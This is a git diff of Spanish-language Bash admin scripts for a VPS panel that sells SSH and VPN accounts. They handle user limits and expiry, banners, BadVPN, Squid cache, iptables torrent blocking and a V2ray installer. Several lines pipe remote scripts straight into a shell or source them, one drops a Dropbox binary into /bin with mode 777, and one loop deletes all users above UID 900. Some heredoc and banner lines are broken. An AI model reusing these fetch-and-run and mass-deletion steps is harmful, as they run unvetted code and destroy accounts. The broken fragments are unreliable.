${MyTIME} + local TimeNOW=$(date +%s) + # INICIA VERIFICAO + while read user; do + echo -ne "\033[1;33mUSUARIO: \033[1;32m$user " + if [[ ! $(echo $(mostrar_usuarios)|grep -w "$user") ]]; then + echo -e "\033[1;31mNO EXISTE" + continue + fi + local DataUser=$(chage -l "${user}" |grep -i co|awk -F ":" '{print $2}') + if [[ ! -z "$(echo $DataUser|grep never)" ]]; then + echo -e "\033[1;31mILIMITADO" + continue + fi + local DataSEC=$(date +%s --date="$DataUser") + if [[ "$DataSEC" -lt "$TimeNOW" ]]; then + EXPIRED="1+" + block_userfun $user -loked && echo "USER: $user (BLOQUEADO - CADUCADO) $(date +%r)" >> $LIMITERLOG + echo -e "\033[1;31m CADUCADO" + continue + fi + local PID="0+" + [[ $SSH = ON ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$user"|grep -v root|wc -l 2>/dev/null)+" + [[ $DROP = ON ]] && PID+="$(dropbear_pids|grep -w "$user"|wc -l 2>/dev/null)+" + [[ $OPEN = ON ]] && [[ $(openvpn_pids|grep -w "$user"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$user"|cut -d'|' -f2)+" + local ONLINES+="$(echo ${PID}0|bc)+" + local conexao[$user]="$(echo ${PID}0|bc)" + if [[ ${conexao[$user]} -gt '0' ]]; then #CONTADOR DE TEMPO ONLINE + [[ -z "${TIMEUS[$user]}" ]] && local TIMEUS[$user]=0 + [[ "${TIMEUS[$user]}" != +([0-9]) ]] && local TIMEUS[$user]=0 + local TIMEUS[$user]="$((2+${TIMEUS[$user]}))" + local VARS="$(cat ${MyTIME}|grep -w -v "$user")" + echo "TIMEUS[$user]='${TIMEUS[$user]}'" > ${MyTIME} + for variavel in $(echo ${VARS}); do echo "${variavel}" >> ${MyTIME}; done + fi + local limite[$user]="$(cat ${USRdatabase}|grep -w "${user}"|cut -d'|' -f4)" + [[ -z "${limite[$user]}" ]] && continue + [[ "${limite[$user]}" != +([0-9]) ]] && continue + if [[ "${conexao[$user]}" -gt "${limite[$user]}" ]]; then + local lock=$(block_userfun $user -loked) + [[ ! -z $lock ]] && echo "$lock" >> $LIMITERLOG + echo -e "\033[1;31m EXCEDIO LIMITE" + continue + fi + echo -e "\033[1;33m OK! \033[1;31m${conexao[$user]} CONEXIONES" + done <<< "$(mostrar_usuarios)" + echo "${ONLINES}0"|bc > ${SCPdir}/USRonlines + echo "${EXPIRED}0"|bc > ${SCPdir}/USRexpired + sleep 2s # TEMPO DE ESPERA DO LOOP + clear + done +} +backup_fun () { +msg -ama "$(fun_trans "HERRAMIENTA DE BACKUP DE USUARIOS")" +msg -bar +menu_func "CREAR BACKUP" "RESTAURAR BACKUP" +msg -bar +unset selection +while [[ ${selection} != @([1-2]) ]]; do +echo -ne "\033[1;37m$(fun_trans "Seleccione la opcion"): " && read selection +tput cuu1 && tput dl1 +done +case ${selection} in +1) +cp ${USRdatabase} $HOME/Backup-adm +msg -azu "$(fun_trans "Procedimiento Hecho")" +echo -e "\033[1;31mBACKUP > [\033[1;32m$HOME/Backup-adm\033[1;31m]" +;; +2) +while [[ ! -e ${dirbackup} ]]; do +echo -ne "\033[1;37m$(fun_trans "Escriba la ubicacion de la copia de seguridad"): " && read dirbackup +tput cuu1 && tput dl1 +done +VPSsec=$(date +%s) +while read line; do +nome=$(echo ${line}|cut -d'|' -f1) +[[ $(echo $(mostrar_usuarios)|grep -w "$nome") ]] && { + msg -verm "$nome [ERROR]" + continue + } +senha=$(echo ${line}|cut -d'|' -f2) +DateExp=$(echo ${line}|cut -d'|' -f3) +DataSec=$(date +%s --date="$DateExp") +[[ "$VPSsec" -lt "$DataSec" ]] && dias="$(($(($DataSec - $VPSsec)) / 86400))" || dias="30" +limite=$(echo ${line}|cut -d'|' -f4) +add_user "$nome" "$senha" "$dias" "$limite" && msg -verd "$nome [OK]" || msg -verm "$nome [ERROR]" +done < ${dirbackup} +;; +esac +msg -bar +} +verif_funx () { +PIDVRF="$(ps aux|grep "${SCPusr}/usercodes verificar"|grep -v grep|awk '{print $2}')" +if [[ -z $PIDVRF ]]; then +cd ${SCPusr} +screen -dmS very ${SCPusr}/usercodes verificar +else +for pid in $(echo $PIDVRF); do +kill -9 $pid &>/dev/null +done +[[ -e ${SCPdir}/USRonlines ]] && rm ${SCPdir}/USRonlines +[[ -e ${SCPdir}/USRexpired ]] && rm ${SCPdir}/USRexpired +fi +} +cleanreg () { +sudo rm -rf /etc/newadmin/ger-user/Limiter.log +} +userdell () { +echo -e "\033[1;37mATENCION ESTO REMOVERA TODOS LOS USUARIOS, NO FUNCIONA CON OPENVPN...\033[0m" +msg -bar +sleep 1s +echo -e "\033[1;37m \033[0m \033[1;31mESTA SEGURO\033[0m \033[1;37m?\033[0m \033[1;31mSELECCIONE [s/n]\033[0m \033[1;33mPARA CONTINUAR\033[0m" +msg -bar +read -p "Opcion: " -e -i s remov +if [ "$remov" = "s" ] +then +for u in `awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" |grep -vi polkitd |grep -vi system-`; do +userdel $u +done +msg -bar +echo -e "\033[1;31mUSUARIOS ELIMINADOS CON EXITO!!\033[0m" +sleep 4s +else +msg -bar +echo -e "\033[1;31mOPERACION CANCELADA\033[0m" + sleep 4s +adm +fi + } +baner_fun () { +local2="/etc/dropbear/banner" +chk=$(cat /etc/ssh/sshd_config | grep -v "Banner") +while read line; do +echo "$line" >> /tmp/ssh-conf +done <<< "$chk" +mv -f /tmp/ssh-conf /etc/ssh/sshd_config +echo "Banner /etc/bannerssh" >> /etc/ssh/sshd_config +local="/etc/bannerssh" +msg -verd "$(fun_trans "Bienvenido a este el instalador del banner New-Adm")" +msg -bar +msg -ne "$(fun_trans "escriba el mensaje principal del banner"): " && read ban_ner +echo -e " \033[1;32m[1] >\033[1;32m $(fun_trans "Verde")" +echo -e " \033[1;32m[2] >\033[1;31m $(fun_trans "rojo")" +echo -e " \033[1;32m[3] >\033[1;34m $(fun_trans "Azul")" +echo -e " \033[1;32m[4] >\033[1;33m $(fun_trans "Amarillo")" +echo -e " \033[1;32m[5] >\033[1;35m $(fun_trans "purpura")" +msg -ne "$(fun_trans "Perfecto Ahora Selecione Un Color"): " && read ban_ner_cor +echo '



' > $local +if [[ "$ban_ner_cor" = "1" ]]; then +echo '

' >> $local +elif [[ "$ban_ner_cor" = "2" ]]; then +echo '

' >> $local +elif [[ "$ban_ner_cor" = "3" ]]; then +echo '

' >> $local +elif [[ "$ban_ner_cor" = "4" ]]; then +echo '

' >> $local +elif [[ "$ban_ner_cor" = "5" ]]; then +echo '

' >> $local +else +echo '

' >> $local +fi +echo "$ban_ner" >> $local +echo '

' >> $local +echo '



' >> $local +txt_font () { +msg -ne "$(fun_trans "escriba el mensaje secundario"): " && read ban_ner2 +echo -e " \033[1;32m[1] >\033[1;32m $(fun_trans "Verde")" +echo -e " \033[1;32m[2] >\033[1;31m $(fun_trans "rojo")" +echo -e " \033[1;32m[3] >\033[1;34m $(fun_trans "Azul")" +echo -e " \033[1;32m[4] >\033[1;33m $(fun_trans "Amarillo")" +echo -e " \033[1;32m[5] >\033[1;35m $(fun_trans "Purpura")" +msg -ne "$(fun_trans "Perfecto Ahora Seleccione Un Color"): " && read ban_ner2_cor +if [ "$ban_ner2_cor" = "1" ]; then +echo '
' >> $local +elif [ "$ban_ner2_cor" = "2" ]; then +echo '
' >> $local +elif [ "$ban_ner2_cor" = "3" ]; then +echo '
' >> $local +elif [ "$ban_ner2_cor" = "4" ]; then +echo '
' >> $local +elif [ "$ban_ner2_cor" = "5" ]; then +echo '
' >> $local +else +echo '
' >> $local +fi +echo "$ban_ner2" >> $local +echo "
" >> $local +} +while true; do +msg -ne "$(fun_trans "Aadir Mensaje Secundaria")? [S/N]: " && read sin_nao +if [[ "$sin_nao" = @(s|S|y|Y) ]]; then +txt_font +elif [[ "$sin_nao" = @(n|N) ]]; then +break +fi +done +#echo 'new' >> $local +echo '



' >> $local +if [[ -e "$local2" ]]; then +rm $local2 > /dev/null 2>&1 +cp $local $local2 > /dev/null 2>&1 +fi +msg -bar && msg -verd "$(fun_trans "Banner agregado con exito")" && msg -bar +service ssh restart > /dev/null 2>&1 & +service sshd restart > /dev/null 2>&1 & +service dropbear restart > /dev/null 2>&1 & +} +# Execuo +if [[ "$1" = "verificar" ]]; then +verif_fun +exit +fi +[[ -z ${VERY} ]] && verificar="\033[1;31mOff" || verificar="\033[1;32mOn" +msg -ama "$(fun_trans "MENU DE ADMIMISTRACION DE USUARIOS")" +msg -bar +menu_func "CREAR NUEVO USUARIO" "-am USUARIO TEMPORAL" "-rc ELIMINAR USUARIOS" "BLOQUEAR O DESBLOQUEAR USUARIO" "EDITAR USUARIO" "-vd RENOVAR USUARIO" "DETALLES DE TODOS LOS USUARIOS" "MONITOREAR USUARIOS CONECTADOS" "-rc ELIMINAR USUARIOS VENCIDOS" "-rc ELIMIMAR TODOS LOS USUARIOS" "-bl CREAR BACKUP DE USUARIOS" "BANNER SSH" "-bl LIMPIAR REGISTRO LIMITADOR" "-fi ${verificar} VERIFICACIONES" +[[ -e "${SCPusr}/Limiter.log" ]] && echo -ne "$(msg -verd "[15]") $(msg -verm2 ">") " && msg -azu "$(fun_trans "VER REGISTRO DEL LIMITADOR")" +echo -ne "$(msg -verd "[0]") $(msg -verm2 ">") " && msg -bra "$(fun_trans "VOLVER")" +msg -bar +selection=$(selection_fun 15) +case ${selection} in +1)new_user;; +2)${SCPdir2}/Crear-Demo.sh "${idioma}";; +3)remove_user;; +4)block_user;; +5)edit_user;; +6)renew_user;; +7)detail_user;; +8)monit_user;; +9)rm_vencidos;; +10)userdell;; +11)backup_fun;; +12)baner_fun;; +13)cleanreg;; +14)verif_funx;; +15) +[[ -e "${SCPusr}/Limiter.log" ]] && { + cat ${SCPusr}/Limiter.log + msg -bar + } +;; +esac diff --git a/ADM-VENTAS-LEALDROID/request/utils.sh b/ADM-VENTAS-LEALDROID/request/utils.sh new file mode 100644 index 0000000..175a68d --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/utils.sh @@ -0,0 +1,211 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +BadVPN () { +pid_badvpn=$(ps x | grep badvpn | grep -v grep | awk '{print $1}') +if [ "$pid_badvpn" = "" ]; then + msg -ama "$(fun_trans "Liberando Badvpn")" + msg -bar + if [[ ! -e /bin/badvpn-udpgw ]]; then + wget -O /bin/badvpn-udpgw https://www.dropbox.com/s/nxf5s1lffmbikwq/badvpn-udpgw &>/dev/null + chmod 777 /bin/badvpn-udpgw + fi + screen -dmS screen /bin/badvpn-udpgw --listen-addr 127.0.0.1:7300 --max-clients 1000 --max-connections-for-client 10 + [[ "$(ps x | grep badvpn | grep -v grep | awk '{print $1}')" ]] && msg -ama "$(fun_trans "iniciado con exito")" || msg -ama "$(fun_trans "fracasado")" +else + msg -ama "$(fun_trans "Parando Badvpn")" + msg -bar + kill -9 $(ps x | grep badvpn | grep -v grep | awk '{print $1'}) > /dev/null 2>&1 + killall badvpn-udpgw > /dev/null 2>&1 + [[ ! "$(ps x | grep badvpn | grep -v grep | awk '{print $1}')" ]] && echo -e "${cor[4]} ${txt[125]}" + unset pid_badvpn + fi +unset pid_badvpn +} +TCPspeed () { +if [[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]]; then +#INSTALA +msg -ama "$(fun_trans "TCP Speed No Activado, Desea Activar Ahora")?" +msg -bar +while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do +read -p " [S/N]: " -e -i s resposta +tput cuu1 && tput dl1 +done +[[ "$resposta" = @(s|S|y|Y) ]] && { +echo "#ADM" >> /etc/sysctl.conf +echo "net.ipv4.tcp_window_scaling = 1 +net.core.rmem_max = 16777216 +net.core.wmem_max = 16777216 +net.ipv4.tcp_rmem = 4096 87380 16777216 +net.ipv4.tcp_wmem = 4096 16384 16777216 +net.ipv4.tcp_low_latency = 1 +net.ipv4.tcp_slow_start_after_idle = 0" >> /etc/sysctl.conf +sysctl -p /etc/sysctl.conf > /dev/null 2>&1 +msg -ama "$(fun_trans "TCP Activo Con exito")!" +} || msg -ama "$(fun_trans "Cancelado")!" + else +#REMOVE +msg -ama "$(fun_trans "TCP Speed ya esta activado, desea detener ahora")?" +msg -bar +while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do +read -p " [S/N]: " -e -i s resposta +tput cuu1 && tput dl1 +done +[[ "$resposta" = @(s|S|y|Y) ]] && { +grep -v "^#ADM +net.ipv4.tcp_window_scaling = 1 +net.core.rmem_max = 16777216 +net.core.wmem_max = 16777216 +net.ipv4.tcp_rmem = 4096 87380 16777216 +net.ipv4.tcp_wmem = 4096 16384 16777216 +net.ipv4.tcp_low_latency = 1 +net.ipv4.tcp_slow_start_after_idle = 0" /etc/sysctl.conf > /tmp/syscl && mv -f /tmp/syscl /etc/sysctl.conf +sysctl -p /etc/sysctl.conf > /dev/null 2>&1 +msg -ama "$(fun_trans "TCP Parado Con Exito")!" +} || msg -ama "$(fun_trans "Cancelado")!" +fi +} +SquidCACHE () { +msg -ama "$(fun_trans "Squid Cache, Aplica cache en squid")" +msg -ama "$(fun_trans "mejora la velocidad del squid")" +msg -bar +if [ -e /etc/squid/squid.conf ]; then +squid_var="/etc/squid/squid.conf" +elif [ -e /etc/squid3/squid.conf ]; then +squid_var="/etc/squid3/squid.conf" +else +msg -ama "$(fun_trans "Su sistema no tiene un squid")!" && return 1 +fi +teste_cache="#CACHE DO SQUID" +if [[ `grep -c "^$teste_cache" $squid_var` -gt 0 ]]; then + [[ -e ${squid_var}.bakk ]] && { + msg -ama "$(fun_trans "Cache squid identificado, eliminando")!" + mv -f ${squid_var}.bakk $squid_var + msg -ama "$(fun_trans "cache squid eliminado")!" + service squid restart > /dev/null 2>&1 & + service squid3 restart > /dev/null 2>&1 & + return 0 + } +fi +msg -ama "$(fun_trans "Aplicando Cache Squid")!" +msg -bar +_tmp="#CACHE DO SQUID\ncache_mem 200 MB\nmaximum_object_size_in_memory 32 KB\nmaximum_object_size 1024 MB\nminimum_object_size 0 KB\ncache_swap_low 90\ncache_swap_high 95" +[[ "$squid_var" = "/etc/squid/squid.conf" ]] && _tmp+="\ncache_dir ufs /var/spool/squid 100 16 256\naccess_log /var/log/squid/access.log squid" || _tmp+="\ncache_dir ufs /var/spool/squid3 100 16 256\naccess_log /var/log/squid3/access.log squid" +while read s_squid; do +[[ "$s_squid" != "cache deny all" ]] && _tmp+="\n${s_squid}" +done < $squid_var +cp ${squid_var} ${squid_var}.bakk +echo -e "${_tmp}" > $squid_var +msg -ama "$(fun_trans "Cache Aplicado Con Exito")!" +service squid restart > /dev/null 2>&1 & +service squid3 restart > /dev/null 2>&1 & +} +block_torrent () { +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} +fun_ip () { +if [[ -e /etc/MEUIPADM ]]; then +IP="$(cat /etc/MEUIPADM)" +else +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +echo "$MEU_IP2" > /etc/MEUIPADM +fi +} +[[ $(iptables -h|wc -l) -lt 5 ]] && apt-get install iptables -y > /dev/null 2>-1 +NIC=$(ip -4 route ls | grep default | grep -Po '(?<=dev )(\S+)' | head -1) +echo -e "$(fun_trans "Estas configuraciones se deben agregar")" +echo -e "$(fun_trans "despues de que la vps esta totalmente configurada!")" +msg -bar +echo -e "$(fun_trans "Desea continuar?")" +read -p " [S/N]: " -e -i n PROS +[[ $PROS = @(s|S|y|Y) ]] || return 1 +fun_ip #Pega IP e armazena em uma variavel +#Inicia Procedimentos +#Parametros iniciais +echo 'iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT +iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT +iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT +iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT' > ./torrent-adm +chmod +x ./torrent-adm +#libera DNS +echo 'iptables -A OUTPUT -p tcp --dport 53 -m state --state NEW -j ACCEPT +iptables -A OUTPUT -p udp --dport 53 -m state --state NEW -j ACCEPT' >> ./torrent-adm +#Liberar DHCP +echo 'iptables -A OUTPUT -p tcp --dport 67 -m state --state NEW -j ACCEPT +iptables -A OUTPUT -p udp --dport 67 -m state --state NEW -j ACCEPT' >> ./torrent-adm +#Liberando Servios Ativos +list_ips=$(mportas|awk '{print $2}') +while read PORT; do +echo "iptables -A INPUT -p tcp --dport $PORT -j ACCEPT +iptables -A INPUT -p udp --dport $PORT -j ACCEPT +iptables -A OUTPUT -p tcp --dport $PORT -j ACCEPT +iptables -A OUTPUT -p udp --dport $PORT -j ACCEPT +iptables -A FORWARD -p tcp --dport $PORT -j ACCEPT +iptables -A FORWARD -p udp --dport $PORT -j ACCEPT +iptables -A OUTPUT -p tcp -d $IP --dport $PORT -m state --state NEW -j ACCEPT +iptables -A OUTPUT -p udp -d $IP --dport $PORT -m state --state NEW -j ACCEPT" >> ./torrent-adm +done <<< "$list_ips" +#Bloqueando Ping +# echo 'iptables -A INPUT -p icmp --icmp-type echo-request -j DROP' >> ./torrent-adm +#Liberar WEBMIN +echo 'iptables -A INPUT -p tcp --dport 10000 -j ACCEPT +iptables -A OUTPUT -p tcp --dport 10000 -j ACCEPT' >> ./torrent-adm +#Bloqueando torrent +echo "iptables -t nat -A PREROUTING -i $NIC -p tcp --dport 6881:6889 -j DNAT --to-dest $IP +iptables -A FORWARD -p tcp -i $NIC --dport 6881:6889 -d $IP -j REJECT +iptables -A OUTPUT -p tcp --dport 6881:6889 -j DROP +iptables -A OUTPUT -p udp --dport 6881:6889 -j DROP" >> ./torrent-adm +echo 'iptables -A FORWARD -m string --algo bm --string "BitTorrent" -j DROP +iptables -A FORWARD -m string --algo bm --string "BitTorrent protocol" -j DROP +iptables -A FORWARD -m string --algo bm --string "peer_id=" -j DROP +iptables -A FORWARD -m string --algo bm --string ".torrent" -j DROP +iptables -A FORWARD -m string --algo bm --string "announce.php?passkey=" -j DROP +iptables -A FORWARD -m string --algo bm --string "torrent" -j DROP +iptables -A FORWARD -m string --algo bm --string "announce" -j DROP +iptables -A FORWARD -m string --algo bm --string "info_hash" -j DROP +iptables -A FORWARD -m string --string "get_peers" --algo bm -j DROP +iptables -A FORWARD -m string --string "announce_peer" --algo bm -j DROP +iptables -A FORWARD -m string --string "find_node" --algo bm -j DROP' >> ./torrent-adm +./torrent-adm && rm ./torrent-adm +msg -bar +echo -e " $(fun_trans "Aplicado!")" +} +on="\033[1;32mon" && off="\033[1;31moff" +[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off +[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && tcp=$off || tcp=$on +if [ -e /etc/squid/squid.conf ]; then +[[ `grep -c "^#CACHE DO SQUID" /etc/squid/squid.conf` -gt 0 ]] && squid=$on || squid=$off +elif [ -e /etc/squid3/squid.conf ]; then +[[ `grep -c "^#CACHE DO SQUID" /etc/squid3/squid.conf` -gt 0 ]] && squid=$on || squid=$off +fi +msg -ama "$(fun_trans "MENU DE UTILITARIOS")" +msg -bar +echo -ne "\033[1;32m [1] > " && msg -azu "$(fun_trans "BADVPN") $badvpn" +echo -ne "\033[1;32m [2] > " && msg -azu "$(fun_trans "TCPSPEED") $tcp" +echo -ne "\033[1;32m [3] > " && msg -azu "$(fun_trans "CACHE DEL SQUID") $squid" +echo -ne "\033[1;32m [4] > " && msg -azu "$(fun_trans "BLOQUEO TORRENT")" +echo -ne "\033[1;32m [0] > " && msg -bra "$(fun_trans "VOLVER")" +msg -bar +while [[ ${arquivoonlineadm} != @(0|[1-4]) ]]; do +read -p "[0-4]: " arquivoonlineadm +tput cuu1 && tput dl1 +done +case $arquivoonlineadm in +1)BadVPN;; +2)TCPspeed;; +3)SquidCACHE;; +4)block_torrent;; +0)exit;; +esac +msg -bar diff --git a/ADM-VENTAS-LEALDROID/request/v2ray.sh b/ADM-VENTAS-LEALDROID/request/v2ray.sh new file mode 100644 index 0000000..df9ca00 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/v2ray.sh @@ -0,0 +1,219 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 + +SCPdir="/etc/newadm" +SCPusr="${SCPdir}/ger-user" +SCPfrm="/etc/ger-frm" +SCPfrm3="/etc/adm-lite" +SCPinst="/etc/ger-inst" +SCPidioma="${SCPdir}/idioma" + +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +meu_ip () { +if [[ -e /etc/MEUIPADM ]]; then +echo "$(cat /etc/MEUIPADM)" +else +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP" +echo "$MEU_IP2" > /etc/MEUIPADM +fi +} +IP="$(meu_ip)" +Block="/etc/crondbl" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +BARRA1="\e[1;30m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +BARRA="\e[0;31m--------------------------------------------------------------------\e[0m" +blan='\033[1;37m' +ama='\033[1;33m' +blue='\033[1;34m' +asul='\033[0;34m' +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' + +fun_V2ray () { +if [[ -e /usr/local/V2ray.Fun ]]; then + clear + v2ray +else + install_V2ray +fi +} + + +install_V2ray () { +clear +tput setaf 7 ; tput setab 4 ; tput bold ; printf '%30s%s%-10s\n' "V2ray PANEL OFC BY DANKELHAHER" ; tput sgr0 ; echo "" +echo -e "$BARRA1" +echo -e "${blue}ESTE SCRIPT INSTALARA V2ray PANEL EN SU VPS, ESTO${plain}" +echo -e "${blue}TOMARA UNOS MINUTOS SEA PACIENTE${plain}" +echo -e "$BARRA1" + echo -e "${blan}Presione ENTER para comenzar o presione Ctrl + C para cancelar. Continue!${plain}" + read enter +echo -e "$BARRA1" + +#Check Root +[ $(id -u) != "0" ] && { echo "${CFAILURE}Error: Debe ser root para ejecutar este script${CEND}"; exit 1; } + +#Check OS +if [ -n "$(grep 'Aliyun Linux release' /etc/issue)" -o -e /etc/redhat-release ]; then + OS=CentOS + [ -n "$(grep ' 7\.' /etc/redhat-release)" ] && CentOS_RHEL_version=7 + [ -n "$(grep ' 6\.' /etc/redhat-release)" -o -n "$(grep 'Aliyun Linux release6 15' /etc/issue)" ] && CentOS_RHEL_version=6 + [ -n "$(grep ' 5\.' /etc/redhat-release)" -o -n "$(grep 'Aliyun Linux release5' /etc/issue)" ] && CentOS_RHEL_version=5 +elif [ -n "$(grep 'Amazon Linux AMI release' /etc/issue)" -o -e /etc/system-release ]; then + OS=CentOS + CentOS_RHEL_version=6 +elif [ -n "$(grep bian /etc/issue)" -o "$(lsb_release -is 2>/dev/null)" == 'Debian' ]; then + OS=Debian + [ ! -e "$(which lsb_release)" ] && { apt-get -y update; apt-get -y install lsb-release; clear; } + Debian_version=$(lsb_release -sr | awk -F. '{print $1}') +elif [ -n "$(grep Deepin /etc/issue)" -o "$(lsb_release -is 2>/dev/null)" == 'Deepin' ]; then + OS=Debian + [ ! -e "$(which lsb_release)" ] && { apt-get -y update; apt-get -y install lsb-release; clear; } + Debian_version=$(lsb_release -sr | awk -F. '{print $1}') +elif [ -n "$(grep Ubuntu /etc/issue)" -o "$(lsb_release -is 2>/dev/null)" == 'Ubuntu' -o -n "$(grep 'Linux Mint' /etc/issue)" ]; then + OS=Ubuntu + [ ! -e "$(which lsb_release)" ] && { apt-get -y update; apt-get -y install lsb-release; clear; } + Ubuntu_version=$(lsb_release -sr | awk -F. '{print $1}') + [ -n "$(grep 'Linux Mint 18' /etc/issue)" ] && Ubuntu_version=16 +else + echo "${CFAILURE} no es compatible con este sistema operativo, comuníquese con el autor! ${CEND}" + kill -9 $$ +fi + +#Install Needed Packages + +if [ ${OS} == Ubuntu ] || [ ${OS} == Debian ];then + apt-get update -y + apt-get install wget curl socat git unzip python python-dev openssl libssl-dev ca-certificates supervisor -y + wget -O - "https://bootstrap.pypa.io/get-pip.py" | python + pip install --upgrade pip + pip install flask requests urllib3 Flask-BasicAuth Jinja2 requests six wheel + pip install pyOpenSSL +fi + +if [ ${OS} == CentOS ];then + yum install epel-release -y + yum install python-pip python-devel socat ca-certificates openssl unzip git curl crontabs wget -y + pip install --upgrade pip + pip install flask requests urllib3 Flask-BasicAuth supervisor Jinja2 requests six wheel + pip install pyOpenSSL +fi + +if [ ${Debian_version} == 9 ];then + wget -N --no-check-certificate https://github.com/Dankelthaher/V2ray.Fun/blob/master/enable-debian9-rclocal.sh + bash enable-debian9-rclocal.sh + rm enable-debian9-rclocal.sh +fi + + +#Install acme.sh +curl https://get.acme.sh | sh + +#Install V2ray +curl -L -s https://install.direct/go.sh | bash + +#Install V2ray.Fun +cd /usr/local/ +git clone https://github.com/Dankelthaher/V2ray.Fun + +#Generate Default Configurations +cd /usr/local/V2ray.Fun/ && python init.py +cp /usr/local/V2ray.Fun/v2ray.py /usr/local/bin/v2ray +chmod +x /usr/local/bin/v2ray +chmod +x /usr/local/V2ray.Fun/start.sh + +#Start All services +service v2ray start + +#Configure Supervisor +mkdir /etc/supervisor +mkdir /etc/supervisor/conf.d +echo_supervisord_conf > /etc/supervisor/supervisord.conf +cat>>/etc/supervisor/supervisord.conf<>/etc/supervisor/conf.d/v2ray.fun.ini<>/etc/rc.local +chmod +x /etc/rc.local + +echo -e "$BARRA1" +echo -e "${green}La instalacion ah sido exitosa!${plain}" + +echo -e "${blan}con estos datos entrara al panel${plain}" +echo -e "$BARRA1" +echo "" +echo -e "${blan}Puerto del panel:${plain} ${uport}" +echo -e "$BARRA" +echo -e "${blan}Nombre de usuario:${plain} ${un}" +echo -e "$BARRA" +echo -e "${blan}Contrasena:${plain} ${pw}" +echo -e "$BARRA" +echo -e "${blan}Acceso al panel: http://$IP:${uport}${plain}" +echo -e "${blan}O use la direccion de su dominio mas el puerto${plain}" +echo -e "$BARRA1" +echo '' +echo "Gracias por utilizar v2ray OFC BY DANKELTHAHER" + +#LIMPIAR ARCHIVOS BASURA +rm -rf /root/config.json +rm -rf /root/install-debian.sh +} +fun_V2ray \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/vdoray.sh b/ADM-VENTAS-LEALDROID/request/vdoray.sh new file mode 100644 index 0000000..22f788b --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/vdoray.sh @@ -0,0 +1,86 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 + +SCPdir="/etc/newadm" +SCPusr="${SCPdir}/ger-user" +SCPfrm="/etc/ger-frm" +SCPfrm3="/etc/adm-lite" +SCPinst="/etc/ger-inst" +SCPidioma="${SCPdir}/idioma" + +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;35m" [3]="\033[1;32m" [4]="\033[1;31m" [5]="\033[1;33m" [6]="\E[44;1;37m" [7]="\E[41;1;37m" ) +barra="\033[0m\e[31m======================================================\033[1;37m" +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} + +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +v2ray_ps () { +msg -bar +msg -ama " $(fun_trans "INSTALANDO V2RAY")" +source <(curl -sL https://git.io/fNgqx) +msg -bar +msg -ama " $(fun_trans "PARA SALIR PRECIONA CTRL + C")" +msg -bar +msg -ama " $(fun_trans "EJECUTE v2ray PARA ENTRAR AL MENÚ")" +msg -bar +v2ray stream +} + +corregir_fun () { +echo -e " \033[1;36m $(fun_trans "INSTALAR 